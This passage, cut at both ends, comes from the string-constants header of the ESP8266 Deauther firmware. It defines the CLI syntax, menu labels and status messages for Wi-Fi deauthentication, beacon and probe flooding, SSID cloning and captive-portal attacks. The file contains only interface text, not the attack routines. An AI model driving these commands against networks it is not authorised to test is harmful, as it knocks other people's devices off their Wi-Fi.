bssid, -b\nconst char CLI_BEACON[] PROGMEM = \"beacon,-b\";                 // bssid, -b\nconst char CLI_DEAUTH[] PROGMEM = \"deauth,-d\";                 // deauth, -d\nconst char CLI_DEAUTHALL[] PROGMEM = \"deauthall,-da\";          // deauthall, -da\nconst char CLI_PROBE[] PROGMEM = \"probe,-p\";                   // probe, -p\nconst char CLI_NOOUTPUT[] PROGMEM = \"nooutput,-no\";            // nooutput, -no\nconst char CLI_FORCE[] PROGMEM = \"force,-f\";                   // force, -f\nconst char CLI_TIMEOUT[] PROGMEM = \"timeout,-t\";               // timeout, -t\nconst char CLI_WIFI[] PROGMEM = \"wifi,-w\";                     // wifi, -w\nconst char CLI_CLONES[] PROGMEM = \"clones,-cl\";                // clones, -cl\nconst char CLI_PATH[] PROGMEM = \"path,-p\";                     // path, -p\nconst char CLI_PASSWORD[] PROGMEM = \"password,-ps/wd\";         // password, -ps, -pswd\nconst char CLI_HIDDEN[] PROGMEM = \"hidden,-h\";                 // hidden, -h\nconst char CLI_CAPTIVEPORTAL[] PROGMEM = \"captiveportal,-cp\";  // captiveportal, -cp\nconst char CLI_SELECT[] PROGMEM = \"select/ed,-s\";              // select, selected, -s\nconst char CLI_SSID[] PROGMEM = \"ssid/s,-s/s\";                 // ssid, ssids, -s, -ss\nconst char CLI_AP[] PROGMEM = \"ap/s,-ap/s\";                    // ap, aps, -ap, -aps\nconst char CLI_STATION[] PROGMEM = \"station/s,-st\";            // station, stations, -st\nconst char CLI_NAME[] PROGMEM = \"name/s,-n\";                   // name, names, -n\nconst char CLI_LINE[] PROGMEM = \"line/s,-l\";                   // line, lines, -l\nconst char CLI_COMMENT[] PROGMEM = \"//\";                       // //\nconst char CLI_SCREEN[] PROGMEM = \"screen\";                    // screen\nconst char CLI_MODE[] PROGMEM = \"mode,-m\";                     // mode\nconst char CLI_MODE_BUTTONTEST[] PROGMEM = \"buttontest\";       // buttontest\nconst char CLI_MODE_PACKETMONITOR[] PROGMEM = \"packetmonitor\"; // packetmonitor\nconst char CLI_MODE_LOADINGSCREEN[] PROGMEM = \"loadingscreen\"; // loading\nconst char CLI_MODE_MENU[] PROGMEM = \"menu\";                   // menu\n\nconst char CLI_HELP_HELP[] PROGMEM = \"help\";\nconst char CLI_HELP_SCAN[] PROGMEM = \"scan [<all/aps/stations>] [-t <time>] [-c <continue-time>] [-ch <channel>]\";\nconst char CLI_HELP_SHOW[] PROGMEM = \"show [selected] [<all/aps/stations/names/ssids>]\";\nconst char CLI_HELP_SELECT[] PROGMEM = \"select [<all/aps/stations/names>] [<id>]\";\nconst char CLI_HELP_DESELECT[] PROGMEM = \"deselect [<all/aps/stations/names>] [<id>]\";\nconst char CLI_HELP_SSID_A[] PROGMEM = \"add ssid <ssid> [-wpa2] [-cl <clones>]\";\nconst char CLI_HELP_SSID_B[] PROGMEM = \"add ssid -ap <id> [-cl <clones>] [-f]\";\nconst char CLI_HELP_SSID_C[] PROGMEM = \"add ssid -s [-f]\";\nconst char CLI_HELP_NAME_A[] PROGMEM = \"add name <name> [-ap <id>] [-s]\";\nconst char CLI_HELP_NAME_B[] PROGMEM = \"add name <name> [-st <id>] [-s]\";\nconst char CLI_HELP_NAME_C[] PROGMEM = \"add name <name> [-m <mac>] [-ch <channel>] [-b <bssid>] [-s]\";\nconst char CLI_HELP_SET_NAME[] PROGMEM = \"set name <id> <newname>\";\nconst char CLI_HELP_ENABLE_RANDOM[] PROGMEM = \"enable random <interval>\";\nconst char CLI_HELP_DISABLE_RANDOM[] PROGMEM = \"disable random\";\nconst char CLI_HELP_LOAD[] PROGMEM = \"load [<all/ssids/names/settings>] [<file>]\";\nconst char CLI_HELP_SAVE[] PROGMEM = \"save [<all/ssids/names/settings>] [<file>]\";\nconst char CLI_HELP_REMOVE_A[] PROGMEM = \"remove <ap/station/name/ssid> <id>\";\nconst char CLI_HELP_REMOVE_B[] PROGMEM = \"remove <ap/station/names/ssids> [all]\";\nconst char CLI_HELP_ATTACK[] PROGMEM = \"attack [beacon] [deauth] [deauthall] [probe] [nooutput] [-t <timeout>]\";\nconst char CLI_HELP_ATTACK_STATUS[] PROGMEM = \"attack status [<on/off>]\";\nconst char CLI_HELP_STOP[] PROGMEM = \"stop <all/scan/attack/script>\";\nconst char CLI_HELP_SYSINFO[] PROGMEM = \"sysinfo\";\nconst char CLI_HELP_CLEAR[] PROGMEM = \"clear\";\nconst char CLI_HELP_FORMAT[] PROGMEM = \"format\";\nconst char CLI_HELP_PRINT[] PROGMEM = \"print <file> [<lines>]\";\nconst char CLI_HELP_DELETE[] PROGMEM = \"delete <file> [<lineFrom>] [<lineTo>]\";\nconst char CLI_HELP_REPLACE[] PROGMEM = \"replace <file> <line> <new-content>\";\nconst char CLI_HELP_COPY[] PROGMEM = \"copy <file> <newfile>\";\nconst char CLI_HELP_RENAME[] PROGMEM = \"rename <file> <newfile>\";\nconst char CLI_HELP_RUN[] PROGMEM = \"run <file>\";\nconst char CLI_HELP_WRITE[] PROGMEM = \"write <file> <commands>\";\nconst char CLI_HELP_GET[] PROGMEM = \"get <setting>\";\nconst char CLI_HELP_SET[] PROGMEM = \"set <setting> <value>\";\nconst char CLI_HELP_RESET[] PROGMEM = \"reset\";\nconst char CLI_HELP_CHICKEN[] PROGMEM = \"chicken\";\nconst char CLI_HELP_REBOOT[] PROGMEM = \"reboot\";\nconst char CLI_HELP_INFO[] PROGMEM = \"info\";\nconst char CLI_HELP_COMMENT[] PROGMEM = \"// <comments>\";\nconst char CLI_HELP_SEND_DEAUTH[] PROGMEM = \"send deauth <apMac> <stMac> <rason> <channel>\";\nconst char CLI_HELP_SEND_BEACON[] PROGMEM = \"send beacon <mac> <ssid> <ch> [wpa2]\";\nconst char CLI_HELP_SEND_PROBE[] PROGMEM = \"send probe <mac> <ssid> <ch>\";\nconst char CLI_HELP_LED_A[] PROGMEM = \"led <r> <g> <b>\";\nconst char CLI_HELP_LED_B[] PROGMEM = \"led <#rrggbb>\";\nconst char CLI_HELP_DRAW[] PROGMEM = \"draw\";\nconst char CLI_HELP_SCREEN_ON[] PROGMEM = \"screen <on/off>\";\nconst char CLI_HELP_SCREEN_MODE[] PROGMEM = \"screen mode <menu/packetmonitor/buttontest/loading>\";\n\nconst char CLI_INPUT_PREFIX[] PROGMEM = \"# \";\nconst char CLI_SERIAL_ENABLED[] PROGMEM = \"Serial interface enabled\";\nconst char CLI_SERIAL_DISABLED[] PROGMEM = \"Serial interface disabled\";\nconst char CLI_ERROR[] PROGMEM = \"ERROR: \";\nconst char CLI_ERROR_PARAMETER[] PROGMEM = \"Error Invalid parameter \\\"\";\nconst char CLI_STOPPED_SCRIPT[] PROGMEM = \"Cleared CLI command queue\";\nconst char CLI_CONTINUOUSLY[] PROGMEM = \"continuously\";\nconst char CLI_EXECUTING[] PROGMEM = \"Executing \";\nconst char CLI_SCRIPT_DONE_CONTINUE[] PROGMEM = \"Done executing script - type 'stop script' to end the continuous mode\";\nconst char CLI_SCRIPT_DONE[] PROGMEM = \"Done executing script\";\nconst char CLI_HELP_HEADER[] PROGMEM = \"[===== List of commands =====]\";\nconst char CLI_HELP_FOOTER[] PROGMEM = \"========================================================================\\r\\nfor more information please visit github.com/spacehuhn/esp8266_deauther\\r\\n========================================================================\";\nconst char CLI_ERROR_NAME_LEN[] PROGMEM = \"ERROR : Name length 0\";\nconst char CLI_ERROR_MAC_LEN[] PROGMEM = \"ERROR : MAC length 0\";\nconst char CLI_RICE_START[] PROGMEM = \"Starting rice debugger (auto - repair mode enabled), please stand by...\\r\\nKeep the device connected to a power supply until the debugger ends\\r\\nYOU RISK TO BRICK THE BOARD!!!\";\nconst char CLI_RICE_OUTPUT[] PROGMEM = \"[ % d % % ]\\r\\n\";\nconst char CLI_RICE_ERROR[] PROGMEM = \"ERROR : Memory check failure at block 0x\";\nconst char CLI_RICE_MEM[] PROGMEM = \"Checking memory block 0x\";\nconst char CLI_CHICKEN_OUTPUT[] PROGMEM = \"                                                                 ` - : /////////:-.                    \\r\\n\"\n                                          \"                                                            ./++so:`   ``    `.:/++/.               \\r\\n\"\n                                          \"                                                        `/+o+.+o:.s:-++//s`        `:++-            \\r\\n\"\n                                          \"                                                     `/+oo+//d-   oh/    s-            :o/`         \\r\\n\"\n                                          \"                                                   .++.o+` `h-   .d.     h`://+`         .o+        \\r\\n\"\n                                          \"                                                 .o+` +/   +o    y-     +d+.  .y           .s-      \\r\\n\"\n                                          \"                                                +o`   h    d`   `/     .h-    `h             ++     \\r\\n\"\n                                          \"                                              .s-     d    -           .`     +/              /o    \\r\\n\"\n                                          \"                                             :o`      y.                     -y                /+   \\r\\n\"\n                                          \"                                            /+        :o       `            -h`                 s:  \\r\\n\"\n                                          \"                                           /o          y..://///////:`     /o/o.                `h  \\r\\n\"\n                                          \"                                          -s           +o:``       `-++::/+-  `o/                o: \\r\\n\"\n                                          \"                                          y.          :o              `:::.`   `oo`              -s \\r\\n\"\n                                          \"                                         -s           h`            .++:---/+/+/:::++.           `h \\r\\n\"\n                                          \"                                         +/           h            :o`   `  `/s  `  .s-           d \\r\\n\"\n                                          \"                                         o:          .s            h`   /h-   o:/h-  -s          `h \\r\\n\"\n                                          \"                                         +/          +/            h`   ``    s- `   +/          -s \\r\\n\"\n                                          \"                                         .y         `h`            -s-      `+y-.`.:+/           +: \\r\\n\"\n                                          \"                                          o:        o:              `/+/:/+ss:.-:y/.`           `h` \\r\\n\"\n                                          \"   .:-`                                   `y-      ++                  `so::-://+y.             +/  \\r\\n\"\n                                          \"  :o.-/+:  :+//:`                          `s:   `+/                   -h//:::---:/o-          -y   \\r\\n\"\n                                          \"  :o   `:o:h. `-+/`                         -d+.:o-                    .y.``...-/y/++`        `y.   \\r\\n\"\n                                          \"   +/    `:hs    -o-                        o/:/yo:-`                   +y++s//+/.           `s.    \\r\\n\"\n                                          \"    /o`    `oo`   `/+`                   .-:y/-`+:+so+/:-`              s-  y:              -s.     \\r\\n\"\n                                          \" ++//+y:     -+     .o:            ``-:/+:-.`.:+/:hs+`++:/o/:.`        `h   .y`            /o`      \\r\\n\"\n                                          \"`h` `./ys-            :o-   .--:////:-.`        `-/o/::.`/sh-:os/:.`   .y oo`+/          -o:        \\r\\n\"\n                                          \" :o-   `-o+.           `/+o/:-..`                   `.:+++o/``/:-oo++/:.so+://`       `:+/`         \\r\\n\"\n                                          \"  `/+:`   ..             `++`                           `.-/+/:-/sy.`+o:+y/-.      .-/+-`           \\r\\n\"\n                                          \"    `-+/-                  .-                                `.:/o+:-:.```-:oy/:://:-`              \\r\\n\"\n                                          \"       .:+/.                                                      `.-:/+/::s/-..`                   \\r\\n\"\n                                          \"          .++.                                                          `.-h.                       \\r\\n\"\n                                          \"            .o/                                                            +/                       \\r\\n\"\n                                          \"              :o.                                                          :o                       \\r\\n\"\n                                          \"               .o:                                                         -s                       \\r\\n\"\n                                          \"                 /o`                                                       :+                       \\r\\n\"\n                                          \"                  -o-                                                      o:                       \\r\\n\"\n                                          \"                   `o/                                                     h`                       \\r\\n\"\n                                          \"                     :o.                                                  -s                        \\r\\n\"\n                                          \"                      .o:                                                 y.                        \\r\\n\"\n                                          \"                        /o.                                              /+                         \\r\\n\"\n                                          \"                         .+/`                                           -s                          \\r\\n\"\n                                          \"                           -+/.                                        .s`                          \\r\\n\"\n                                          \"                             ./+/.`                                   -s`                           \\r\\n\"\n                                          \"                                .:/+:.`                              /o`                            \\r\\n\"\n                                          \"                                    .:/o/.`                        .o:                              \\r\\n\"\n                                          \"                                       o/:/+/.`                  .++`                               \\r\\n\"\n                                          \"                                       -s   `:/+:`            `:+/`                                 \\r\\n\"\n                                          \"                                        ++`     -+o-`      `-++-                                    \\r\\n\"\n                                          \"                                         :s/::/+//::+/---/+/:`                                      \\r\\n\"\n                                          \"                                          +/s:`      `-h-s-                                         \\r\\n\"\n                                          \"                                          +/s-        `y y.                                         \\r\\n\"\n                                          \"                                          +/y.        `y h`                                         \\r\\n\"\n                                          \"                                          //s:`       `y d                                          \\r\\n\"\n                                          \"                                          +/-:/++/-`  `y h-`                                        \\r\\n\"\n                                          \"                                          y:hs-ysosss..y --/+++/-`                                  \\r\\n\"\n                                          \"                                          ds:`s:o+`-:`o:oos./h++osoo`                               \\r\\n\"\n                                          \"                                          ::   o+++   h:y `o+.s:`.::                                \\r\\n\"\n                                          \"                                                -+-   -/`   :s.++                                   \\r\\n\"\n                                          \"                                                             `/+-   \";\nconst char CLI_SYSTEM_INFO[] PROGMEM = \"[======== SYSTEM INFO ========]\";\nconst char CLI_SYSTEM_OUTPUT[] PROGMEM = \"RAM usage: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\\r\\n\";\nconst char CLI_SYSTEM_AP_MAC[] PROGMEM = \"AP MAC address: \";\nconst char CLI_SYSTEM_ST_MAC[] PROGMEM = \"Station MAC address: \";\nconst char CLI_SYSTEM_RAM_OUT[] PROGMEM = \"SPIFFS: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\\r\\n\";\nconst char CLI_SYSTEM_SPIFFS_OUT[] PROGMEM = \"        block size %u bytes, page size %u bytes\\r\\n\";\nconst char CLI_FILES[] PROGMEM = \"Files: \";\nconst char CLI_BYTES[] PROGMEM = \" bytes\";\nconst char CLI_SYSTEM_FOOTER[] PROGMEM = \"===============================\";\nconst char CLI_FORMATTING_SPIFFS[] PROGMEM = \"Formatting SPIFFS...\";\nconst char CLI_REMOVED[] PROGMEM = \"Removed \";\nconst char CLI_ERROR_REMOVING[] PROGMEM = \"ERROR: removing \";\nconst char CLI_REMOVING_LINES[] PROGMEM = \"Removed lines \";\nconst char CLI_COPIED_FILES[] PROGMEM = \"Copied file\";\nconst char CLI_ERROR_COPYING[] PROGMEM = \"ERROR: Copying file\";\nconst char CLI_RENAMED_FILE[] PROGMEM = \"Renamed file\";\nconst char CLI_ERROR_RENAMING_FILE[] PROGMEM = \"ERROR: Renaming file\";\nconst char CLI_WRITTEN[] PROGMEM = \"Written \\\"\";\nconst char CLI_TO[] PROGMEM = \"\\\" to \";\nconst char CLI_REPLACED_LINE[] PROGMEM = \"Replaced line \";\nconst char CLI_WITH[] PROGMEM = \" with \";\nconst char CLI_ERROR_REPLACING_LINE[] PROGMEM = \"ERROR: replacing line in \";\nconst char CLI_INFO_HEADER[] PROGMEM = \"====================================================================================\";\nconst char CLI_INFO_SOFTWARE[] PROGMEM = \"ESP8266 Deauther \";\nconst char CLI_INFO_COPYRIGHT[] PROGMEM = \"2018 (c) Stefan Kremser\";\nconst char CLI_INFO_LICENSE[] PROGMEM = \"This software is licensed under the MIT License.\";\nconst char CLI_INFO_ADDON[] PROGMEM = \"For more information please visit github.com/spacehuhn/esp8266_deauther\";\nconst char CLI_DEAUTHING[] PROGMEM = \"Deauthing \";\nconst char CLI_ARROW[] PROGMEM = \" -> \";\nconst char CLI_SENDING_BEACON[] PROGMEM = \"Sending Beacon \\\"\";\nconst char CLI_SENDING_PROBE[] PROGMEM = \"Sending Probe \\\"\";\nconst char CLI_CUSTOM_SENT[] PROGMEM = \"Sent out custom packet\";\nconst char CLI_CUSTOM_FAILED[] PROGMEM = \"Sending custom packet failed\";\nconst char CLI_DRAW_OUTPUT[] PROGMEM = \"%+4u\";\nconst char CLI_ERROR_NOT_FOUND_A[] PROGMEM = \"ERROR: command \\\"\";\nconst char CLI_ERROR_NOT_FOUND_B[] PROGMEM = \"\\\" not found :(\";\nconst char CLI_SYSTEM_CHANNEL[] PROGMEM = \"Current WiFi channel: \";\nconst char CLI_CHANGED_SCREEN[] PROGMEM = \"Changed screen mode\";\nconst char CLI_DEFAULT_AUTOSTART[] PROGMEM = \"scan -t 5s\\nsysinfo\\n\";\nconst char CLI_RESUMED[] PROGMEM = \"Command Line resumed\";\n\n// ===== DISPLAY ===== //\n\n// DEBUG MESSAGES\nconst char D_ERROR_NOT_ENABLED[] PROGMEM = \"ERROR: Display not enabled\";\nconst char D_MSG_DISPLAY_OFF[] PROGMEM = \"Turned display off\";\nconst char D_MSG_DISPLAY_ON[] PROGMEM = \"Turned display on\";\n\n// LOADING SCREEN\nconst char DSP_SCAN_FOR[] PROGMEM = \"Scan for\";\nconst char DSP_APS[] PROGMEM = \"APs\";\nconst char DSP_STS[] PROGMEM = \"STs\";\nconst char DSP_PKTS[] PROGMEM = \"Pkts\";\nconst char DSP_S[] PROGMEM = \"/s\";\nconst char DSP_SCAN_DONE[] PROGMEM = \"Done\";\n\n// ALL MENUS\nconst char D_BACK[] PROGMEM = \"[BACK]\";\nconst char D_REMOVE_ALL[] PROGMEM = \"REMOVE ALL\";\nconst char D_SELECT[] PROGMEM = \"SELECT\";\nconst char D_DESELECT[] PROGMEM = \"DESELECT\";\nconst char D_REMOVE[] PROGMEM = \"REMOVE\";\nconst char D_SELECT_ALL[] PROGMEM = \"SELECT ALL\";\nconst char D_DESELECT_ALL[] PROGMEM = \"DESELECT ALL\";\nconst char D_CLONE[] PROGMEM = \"CLONE SSID\";\nconst char D_LED[] PROGMEM = \"LED\";\n\n// BUTTON TEST\nconst char D_UP[] PROGMEM = \"UP:\";\nconst char D_DOWN[] PROGMEM = \"DOWN:\";\nconst char D_LEFT[] PROGMEM = \"LEFT:\";\nconst char D_RIGHT[] PROGMEM = \"RIGHT:\";\nconst char D_B[] PROGMEM = \"A:\";\nconst char D_A[] PROGMEM = \"B:\";\n\n// MAIN MENU\nconst char D_SCAN[] PROGMEM = \"SCAN\";\nconst char D_SHOW[] PROGMEM = \"SELECT\";\nconst char D_ATTACK[] PROGMEM = \"ATTACK\";\nconst char D_PACKET_MONITOR[] PROGMEM = \"PACKET MONITOR\";\nconst char D_CLOCK[] PROGMEM = \"CLOCK\";\nconst char D_CLOCK_DISPLAY[] PROGMEM = \"CLOCK DISPLAY\";\nconst char D_CLOCK_SET[] PROGMEM = \"SET CLOCK\";\n\n// SCAN MENU\nconst char D_SCAN_APST[] PROGMEM = \"SCAN AP + ST\";\nconst char D_SCAN_AP[] PROGMEM = \"SCAN APs\";\nconst char D_SCAN_ST[] PROGMEM = \"SCAN Stations\";\n\n// SHOW MENU\nconst char D_ACCESSPOINTS[] PROGMEM = \"APs \";\nconst char D_STATIONS[] PROGMEM = \"Stations \";\nconst char D_NAMES[] PROGMEM = \"Names \";\nconst char D_SSIDS[] PROGMEM = \"SSIDs \";\n\n// SSID LIST MENU\nconst char D_CLONE_APS[] PROGMEM = \"CLONE APs\";\nconst char D_RANDOM_MODE[] PROGMEM = \"RANDOM MODE\";\n\n// ATTACK MENU\nconst char D_DEAUTH[] PROGMEM = \"DEAUTH\";\nconst char D_BEACON[] PROGMEM = \"BEACON\";\nconst char D_PROBE[] PROGMEM = \"PROBE\";\nconst char D_START_ATTACK[] PROGMEM = \"START\";\nconst char D_STOP_ATTACK[] PROGMEM = \"STOP\";\n\n// SUB MENUS\nconst char D_ENCRYPTION[] PROGMEM = \"Encryption:\";\nconst char D_RSSI[] PROGMEM = \"RSSI:\";\nconst char D_CHANNEL[] PROGMEM = \"Channel:\";\nconst char D_CH[] PROGMEM = \"Ch\";\nconst char D_VENDOR[] PROGMEM = \"Vendor:\";\nconst char D_AP[] PROGMEM = \"AP:\";\nconst char D_PKTS[] PROGMEM = \"pkts\";\nconst char D_SEEN[] PROGMEM = \"Seen:\";\n\n// ===== STATIONS ===== //\nconst char ST_CLEARED_LIST[] PROGMEM = \"Cleared station list\";\nconst char ST_REMOVED_STATION[] PROGMEM = \"Removed station \";\nconst char ST_LIST_EMPTY[] PROGMEM = \"Station list is empty :(\";\nconst char ST_HEADER[] PROGMEM = \"[===== Stations =====]\";\nconst char ST_NO_DEVICES_SELECTED[] PROGMEM = \"No devices selected\";\nconst char ST_TABLE_HEADER[] PROGMEM = \"ID MAC               Ch Name             Vendor   Pkts     AP                               Last Seen Selected\";\nconst char ST_TABLE_DIVIDER[] PROGMEM = \"==============================================================================================================\";\nconst char ST_SMALLER_ONESEC[] PROGMEM = \"<1sec\";\nconst char ST_SMALLER_ONEMIN[] PROGMEM = \"<1min\";\nconst char ST_BIGER_ONEHOUR[] PROGMEM = \">1h\";\nconst char ST_SELECTED_STATION[] PROGMEM = \"Selected station \";\nconst char ST_DESELECTED_STATION[] PROGMEM = \"Deselected station \";\nconst char ST_ERROR_ID[] PROGMEM = \"ERROR: No station found with ID \";\nconst char ST_SELECTED_ALL[] PROGMEM = \"Selected all stations\";\nconst char ST_DESELECTED_ALL[] PROGMEM  = \"Deselected all stations\";\n\n// ===== ACCESS POINTS ===== //\nconst char AP_HEADER[] PROGMEM = \"[===== Access Points =====]\";\nconst char AP_LIST_EMPTY[] PROGMEM = \"AP list is empty :(\";\nconst char AP_NO_AP_SELECTED[] PROGMEM = \"No APs selected\";\nconst char AP_TABLE_HEADER[] PROGMEM = \"ID SSID                             Name             Ch RSSI Enc. Mac               Vendor   Selected\";\nconst char AP_TABLE_DIVIDER[] PROGMEM = \"=====================================================================================================\";\nconst char AP_HIDDE_SSID[] PROGMEM = \"*HIDDEN*\";\nconst char AP_WEP[] PROGMEM = \"WEP\";\nconst char AP_WPA[] PROGMEM = \"WPA\";\nconst char AP_WPA2[] PROGMEM = \"WPA2\";\nconst char AP_AUTO[] PROGMEM = \"WPA*\";\nconst char AP_SELECTED[] PROGMEM = \"Selected access point \";\nconst char AP_DESELECTED[] PROGMEM = \"Deselected access point \";\nconst char AP_REMOVED[] PROGMEM = \"Removed access point \";\nconst char AP_SELECTED_ALL[] PROGMEM = \"Selected all APs\";\nconst char AP_DESELECTED_ALL[] PROGMEM = \"Deselected all APs\";\nconst char AP_REMOVED_ALL[] PROGMEM = \"Removed all APs\";\nconst char AP_NO_AP_ERROR[] PROGMEM = \"ERROR: No AP found with ID \";\n\n// ===== ATTACKS ===== //\nconst char A_START[] PROGMEM = \"Start attacking\";\nconst char A_NO_MODE_ERROR[] PROGMEM = \"WARNING: No valid attack mode set\";\nconst char A_STOP[] PROGMEM = \"Stopped attacking\";\nconst char A_TIMEOUT[] PROGMEM = \"Timeout - \";\nconst char A_STATUS[] PROGMEM = \"[Pkt/s] All: %+4u | Deauths: %+3u/%-3u | Beacons: %+3u/%-3u | Probes: %+3u/%-3u\\r\\n\";\nconst char A_ENABLED_OUTPUT[] PROGMEM = \"Enabled attack output\";\nconst char A_DISABLED_OUTPUT[] PROGMEM = \"Disabled attack output\";\n\n// ===== NAMES ===== //\nconst char N_SAVED[] PROGMEM = \"Device names saved in \";\nconst char N_LOADED[] PROGMEM = \"Device names loaded from \";\nconst char N_REMOVED_ALL[] PROGMEM = \"Removed all saved device names\";\nconst char N_HEADER[] PROGMEM = \"[===== Saved Devices =====]\";\nconst char N_TABLE_HEADER[] PROGMEM =  \"ID MAC               Vendor   Name             AP-BSSID          Ch Selected\";\nconst char N_TABLE_DIVIDER[] PROGMEM = \"============================================================================\";\nconst char N_ERROR_LIST_EMPTY[] PROGMEM = \"Device name list is empty :(\";\nconst char N_ERROR_NO_SELECTED[] PROGMEM = \"No devices selected\";\nconst char N_ERROR_LIST_FULL[] PROGMEM = \"ERROR: Name list is full!\";\nconst char N_ADDED[] PROGMEM = \"Added to device name list \";\nconst char N_REPLACED[] PROGMEM = \"Replaced device name list \";\nconst char N_REMOVED[] PROGMEM = \"Removed from the device name list \";\nconst char N_CHANGED_NAME[] PROGMEM = \"Changed device name\";\nconst char N_CHANGED_MAC[] PROGMEM = \"Changed device mac\";\nconst char N_CHANGED_BSSID[] PROGMEM = \"Changed device AP-BSSID\";\nconst char N_CHANGED_CH[] PROGMEM = \"Changed device channel\";\nconst char N_SELECTED[] PROGMEM = \"Selected device \";\nconst char N_ERROR_NOT_FOUND[] PROGMEM = \"No device found with name \";\nconst char N_DESELECTED[] PROGMEM = \"Deselected device \";\nconst char N_SELECTED_ALL[] PROGMEM = \"Selected all device names\";\nconst char N_DESELECTED_ALL[] PROGMEM = \"Deselected all device names\";\n\n// ===== SSIDs ===== //\nconst char SS_LOADED[] PROGMEM = \"SSIDs loaded from \";\nconst char SS_CLEARED[] PROGMEM = \"Cleared SSID list\";\nconst char SS_SAVED[] PROGMEM = \"SSIDs saved\";\nconst char SS_SAVED_IN[] PROGMEM = \"SSIDs saved in \";\nconst char SS_REMOVED[] PROGMEM = \"Removed SSID \";\nconst char SS_ERROR_FULL[] PROGMEM =\n    \"ERROR: SSID list is full! Remove some SSIDs first or run command with -f (force) parameter.\";\nconst char SS_ADDED[] PROGMEM = \"Added SSID \";\nconst char SS_REPLACED[] PROGMEM = \"Replaced SSID \";\nconst char SS_TABLE_HEADER[] PROGMEM = \"ID Enc. SSID\";\nconst char SS_TABLE_DIVIDER[] PROGMEM = \"=========================================\";\nconst char SS_HEADER[] PROGMEM = \"[===== SSIDs =====]\";\nconst char SS_ERROR_EMPTY[] PROGMEM = \"SSID list is empty :(\";\nconst char SS_RANDOM_ENABLED[] PROGMEM = \"SSID random mode enabled\";\nconst char SS_RANDOM_DISABLED[] PROGMEM = \"SSID random mode deactivated\";\nconst char SS_JSON_SSIDS[] PROGMEM = \"ssids\";\nconst char SS_JSON_RANDOM[] PROGMEM = \"random\";\nconst char SS_JSON_DEFAULT[] PROGMEM = \"{\\\"random\\\":false,\\\"ssids\\\":[[\\\"Never gonna give you up\\\",false,23],[\\\"Never gonna let you down\\\",false,24],[\\\"Never gonna run around\\\",false,22],[\\\"Never gonna make you cry\\\",false,24],[\\\"Never gonna say goodbye\\\",false,23],[\\\"Never gonna tell a lie\\\",false,22],[\\\"Never gonna hurt you\\\",false,20],[\\\"Never gonna desert you\\\",false,22]]}\";\nconst char SS_RANDOM_INFO[] PROGMEM = \"Generating new SSIDs... Type \\\"disable random\\\" to stop the random mode\";\n\n// ===== SCAN ==== //\nconst char SC_START_CLIENT[] PROGMEM = \"Starting Scan for stations (client devices) - \";\nconst char SS_START_SNIFFER[] PROGMEM = \"Starting packet sniffer - \";\nconst char SC_ERROR_NO_AP[] PROGMEM =\n    \"ERROR: AP-list empty! Can't scan for clients, please Scan for Accesspoints first.\";\nconst char SC_INFINITELY[] PROGMEM = \" infinitely\";\nconst char SC_ON_CHANNEL[] PROGMEM = \" on channel \";\nconst char SC_START_AP[] PROGMEM = \"Starting scan for access points (Wi-Fi networks)...\";\nconst char SC_ONE_TO[] PROGMEM = \"1 - \";\nconst char SC_STOPPED[] PROGMEM = \"Stopped scan\";\nconst char SC_RESTRAT[] PROGMEM = \"Scan will restart in \";\nconst char SC_CONTINUE[] PROGMEM = \"s - type stop to disable the continuous mode\";\nconst char SC_RESTART[] PROGMEM = \"restarting in \";\nconst char SC_ERROR_MODE[] PROGMEM = \"ERROR: Invalid scan mode \";\nconst char SC_OUTPUT_A[] PROGMEM = \"Scanning WiFi [%+2u%%]: %+3u packets/s | %+2u devices | %+2u deauths\\r\\n\";\nconst char SC_OUTPUT_B[] PROGMEM = \"Scanning WiFi: %+3u packets/s | %+2u devices | %+2u deauths\\r\\n\";\nconst char SC_JSON_APS[] PROGMEM = \"aps\";\nconst char SC_JSON_STATIONS[] PROGMEM = \"stations\";\nconst char SC_JSON_NAMES[] PROGMEM = \"names\";\nconst char SC_SAVED[] PROGMEM = \"Saved scan results\";\nconst char SC_SAVED_IN[] PROGMEM = \"Scan results saved in \";\nconst char SC_MODE_OFF[] PROGMEM = \"-\";\nconst char SC_MODE_AP[] PROGMEM = \"APs\";\nconst char SC_MODE_ST[] PROGMEM = \"STs\";\nconst char SC_MODE_ALL[] PROGMEM = \"AP+ST\";\nconst char SC_MODE_SNIFFER[] PROGMEM = \"Sniffer\";\n\n// ===== FUNCTIONS ===== //\nconst char F_ERROR_MAC[] PROGMEM = \"ERROR: MAC address invalid\";\nconst char F_COLOR_INVALID[] PROGMEM = \"ERROR: Color code invalid\";\nconst char F_ERROR_READING_FILE[] PROGMEM = \"ERROR: reading file \";\nconst char F_LINE[] PROGMEM = \"[%d] \";\nconst char F_ERROR_FILE[] PROGMEM = \"ERROR: File doesn't exist \";\nconst char F_ERROR_OPEN[] PROGMEM = \"ERROR couldn't open \";\nconst char F_ERROR_PARSING_JSON[] PROGMEM = \"ERROR parsing JSON \";\nconst char F_ERROR_TO_BIG[] PROGMEM = \"ERROR file too big \";\nconst char F_TMP[] PROGMEM = \"/tmp\";\nconst char F_COPY[] PROGMEM = \"_copy\";\nconst char F_ERROR_SAVING[] PROGMEM = \"ERROR: saving file. Try 'format' and restart - \";\n\n// ===== WIFI ===== //\nconst char W_STOPPED_AP[] PROGMEM = \"Stopped Access Point\";\nconst char W_AP_REQUEST[] PROGMEM = \"[AP] request: \";\nconst char W_AP[] PROGMEM = \"AP\";\nconst char W_STATION[] PROGMEM = \"Station\";\nconst char W_MODE_OFF[] PROGMEM = \"OFF\";\nconst char W_MODE_AP[] PROGMEM = \"AP\";\nconst char W_MODE_ST[] PROGMEM = \"STATION\";\nconst char W_OK[] PROGMEM = \" OK\";\nconst char W_NOT_FOUND[] PROGMEM = \" NOT FOUND\";\nconst char W_BAD_ARGS[] PROGMEM = \"BAD ARGS\";\nconst char W_BAD_PATH[] PROGMEM = \"BAD PATH\";\nconst char W_FILE_NOT_FOUND[] PROGMEM = \"ERROR 404 File Not Found\";\nconst char W_STARTED_AP[] PROGMEM = \"Started AP\";\nconst char W_WEBINTERFACE[] PROGMEM = \"/web\"; // default folder containing the web files\nconst char W_DEFAULT_LANG[] PROGMEM = \"/lang/default.lang\";\n\nconst char W_HTML[] PROGMEM = \"text/html\";\nconst char W_CSS[] PROGMEM = \"text/css\";\nconst char W_JS[] PROGMEM = \"application/javascript\";\nconst char W_PNG[] PROGMEM = \"image/png\";\nconst char W_GIF[] PROGMEM = \"image/gif\";\nconst char W_JPG[] PROGMEM = \"image/jpeg\";\nconst char W_ICON[] 